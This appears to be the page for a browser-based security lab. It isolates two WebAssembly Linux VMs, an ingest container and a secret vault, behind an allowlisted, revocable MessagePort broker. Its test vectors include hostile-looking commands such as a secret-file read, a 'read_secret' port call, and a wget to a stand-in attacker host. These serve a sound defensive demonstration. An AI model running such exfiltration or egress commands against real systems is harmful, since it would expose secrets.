Boot Two Independent Linux 7.x VMs
Spawns ingest-vm (/work) and vault-vm (/vault) in separate Dedicated Workers (96 MiB each, zero external NICs) and proves isolated hostnames, PIDs, and mount trees.
Track 10 · Browser-Delivered Linux 7.x Container Fabric
Running untrusted processing and sensitive data inside one shared container lets a compromised shell read sibling secrets directly. This lab boots two independent Unkernel Linux 7.x kernels (ingest-vm and vault-vm, 96 MiB RAM each) in separate Dedicated Workers with zero external network interfaces, linked only through a policy-mediated MessageChannel pipe—and lets you flip the broker to an Unfiltered Naive Relay to observe the exact boundary failure when policy checks are omitted.
A single Linux VM or shared Wasm runtime exposes every mounted file to any command inside it. Splitting untrusted input ingestion (/work) from private pricing and secrets (/vault) across two kernels removes filesystem overlap—and proves that the MessagePort policy broker, not just the transport channel, enforces least privilege.
Zero-server, multi-container browser workloads using real POSIX tools (sh, awk, sha256sum): Container A pipes CSV rows through /run/kw/bin/port-call compute_totals, Container B computes aggregates against private tables in /vault, and one click revokes the MessagePort immediately with 410 PORT_REVOKED.
Click 1. Boot Both Linux 7.x Containers, run 2. Pipe Orders to Vault, then fire the 3 Compromised-Container-A Attacks in both Policy-Mediated Broker and Unfiltered Naive Relay modes. Finish with 4. Revoke Port & Transferable Benchmark.
Spawns ingest-vm (/work) and vault-vm (/vault) in separate Dedicated Workers (96 MiB each, zero external NICs) and proves isolated hostnames, PIDs, and mount trees.
Executes sh -c "cat /work/raw-orders.csv | port-call compute_totals" in Container A; Container B runs real Linux awk + sha256sum against /vault/pricing.json and returns only totals.
Fires direct /vault read (ENOENT), port-call read_secret (403 POLICY_DENIED vs Unfiltered Relay canary leak), and wget https://evil.example (no NIC).
Calls port.close() live to verify immediate 410 PORT_REVOKED cutoff, reconnects a fresh MessageChannel, and benchmarks zero-copy ArrayBuffer transfer vs cloned JSON.
ingest-vm (Untrusted Input)Dedicated Worker #1 · Mount: /work · Host commands: port-call, port-ping · NICs: lo only
Click "1. Boot Both Containers" to start ingest-vm (Linux 7.x on WebAssembly).
vault-vm (Private Secrets)Dedicated Worker #2 · Mount: /vault · Runs real Linux awk & sha256sum · NICs: lo only
/vault/pricing.json
Vault-Only
{
"SKU-WIDGET": 12.5,
"SKU-SENSOR": 45,
"SKU-RELAY": 19.75
}
/vault/canary-secret.txt
Canary Secret
CANARY_VAULT_SECRET_9f83c1a4_DO_NOT_EXFILTRATE
Click "1. Boot Both Containers" to start vault-vm (Linux 7.x on WebAssembly).
Observed kernel & broker verdicts from real commands executed inside ingest-vm
| Attack Vector | Boundary | Status | Observed Output |
|---|---|---|---|
cat /vault/canary-secret.txt |
Kernel Mount | Pending | Boot VMs and run Experiment 3. |
port-call read_secret /vault/canary-secret.txt |
Port Broker | Pending | Compare Policy-Mediated vs Unfiltered Relay. |
wget -T 2 -qO- https://evil.example |
No Network | Pending | Verifies zero external NICs (lo only). |
Cloned JSON vs zero-copy transferable ArrayBuffer piped into Container B sha256sum
Boot both VMs and click "4B. Run Benchmark" to compare structured-clone JSON against transferable ArrayBuffer (with source buffer byteLength === 0 detachment proof).
Every RPC frame traversing public/lib/port-broker.js between Container A and Container B
| # | Direction | Operation | Mode | Transport | Bytes | Decision | Code | Time | Detail |
|---|---|---|---|---|---|---|---|---|---|
| No MessagePort RPC frames recorded yet. | |||||||||
Edge audit echo idle (optional metadata-only echo to POST /api/audit-echo).
sh, awk, sha256sum) directly inside a browser Dedicated Worker with zero server compute.WebAssembly.Suspending)port.close().ArrayBuffer (Zero-Copy)ArrayBuffer in the postMessage(msg, [buf]) transfer list moves memory ownership across worker threads without copying bytes, detaching the sender's view (byteLength === 0)./run/kw/bin/*)$PATH that stream guest stdin/stdout/stderr over vsock to JavaScript handlers—used here to bridge POSIX pipelines into MessagePort frames.WebAssembly.Memory and MemoryFs mount tree, ensuring Container A has no handle to Container B's /vault.
Running untrusted input parsing alongside private pricing tables or credentials inside one Linux container grants ambient filesystem access: a single shell injection can run cat /vault/canary-secret.txt or open a network socket.
Two separate Unkernel Linux 7.x kernels boot inside independent Dedicated Workers with zero external network interfaces (lo only). Container A mounts only /work; Container B mounts only /vault. Their sole bridge is a MessageChannel pair mediated by public/lib/port-broker.js.
Switching the broker to Unfiltered Naive Relay proves why transport isolation alone is insufficient: without an explicit operation allowlist and egress canary guard, port-call read_secret /vault/canary-secret.txt exfiltrates Container B's secret across the port.
ingest-vmLinux 7.x · 96 MiB · MemoryFs /work
/work/raw-orders.csv, /work/README.md/run/kw/bin/port-call, port-ping/vault mount (ENOENT) & no eth0 NICpublic/lib/port-broker.js410 PORT_REVOKEDcompute_totals, hash_payload, healthread_secret, .., and /vault args (403)ArrayBuffer zero-copy & scrub canary egressSwitch to Unfiltered Naive Relay to test the falsification boundary.
vault-vmLinux 7.x · 96 MiB · MemoryFs /vault
canary-secret.txtNever exposed to ingest-vm
Blocked by kernel mount isolation, broker op allowlist, and egress redaction.
MessageChannel; optional metadata-only audit summaries can echo to POST /api/audit-echo.
Replacing a single monolithic container (or an unfiltered RPC pipe) with two Unkernel Linux 7.x workers bridged by allowlisted, revocable MessagePort frames.
// Monolithic VM mounts both untrusted input and secrets:
const vm = await createKernel({
mounts: { "/work": ingestFs, "/vault": vaultFs },
});
// Any shell command can exfiltrate directly:
await vm.exec("cat", ["/vault/canary-secret.txt"]);
// Or an unfiltered MessagePort forwards arbitrary ops:
portA.onmessage = (e) => portB.postMessage(e.data);
// Separate Dedicated Workers + zero-network Linux 7.x kernels:
const chanA = new MessageChannel();
const chanB = new MessageChannel();
broker.attachPorts(chanA.port2, chanB.port1);
ingestWorker.postMessage({ type: "worker:boot", role: "ingest" }, [chanA.port1]);
vaultWorker.postMessage({ type: "worker:boot", role: "vault" }, [chanB.port2]);
// Inside ingest-vm, POSIX pipelines cross the port cleanly:
// sh -c "cat /work/raw-orders.csv | port-call compute_totals"
// Instant cutoff: broker.revoke() -> 410 PORT_REVOKED
/run/kw/bin/port-call) & Vault awk Execution// public/container-worker.js — Container A registers /run/kw/bin/port-call
const vm = await createKernel({
kernel: "/vendor/unkernel/0.3.0-261202-b033dc7/unkernel.wasm",
memoryMiB: 96,
mounts: { "/work": memFs },
commands: {
"port-call": async (ctx) => {
const stdinBytes = await readStreamBytes(ctx.stdin);
const res = await sendIngestRpc(ctx.args[0], ctx.args.slice(1), stdinBytes);
// Zero-copy ArrayBuffer transfer: meshPort.postMessage(frame, [buf])
return { exitCode: res.ok ? 0 : 1 };
},
},
});
// Container B runs real Linux awk against /vault/pricing.json and stdin bytes:
const awkRes = await vm.exec("awk", ["-F,", AWK_AGGREGATE_PROGRAM, "/vault/pricing.json", "-"], {
input: payloadBytes,
});
Shared filesystems between untrusted parsers and secret stores, server-side container orchestration for local pipelines, and ambient network egress from compute workers.
Per-container MemoryFs mounts (/work vs /vault), allowlisted RPC operation names, zero-copy ArrayBuffer ownership transfer, egress canary scanning, and instant port.close() revocation.
Unkernel depends on WebAssembly JSPI (WebAssembly.Suspending), which is shipping in Chromium 137+ and Node 25+ but not yet universally enabled across all mobile browsers; two 96 MiB kernels also reserve ~192 MiB of browser worker memory.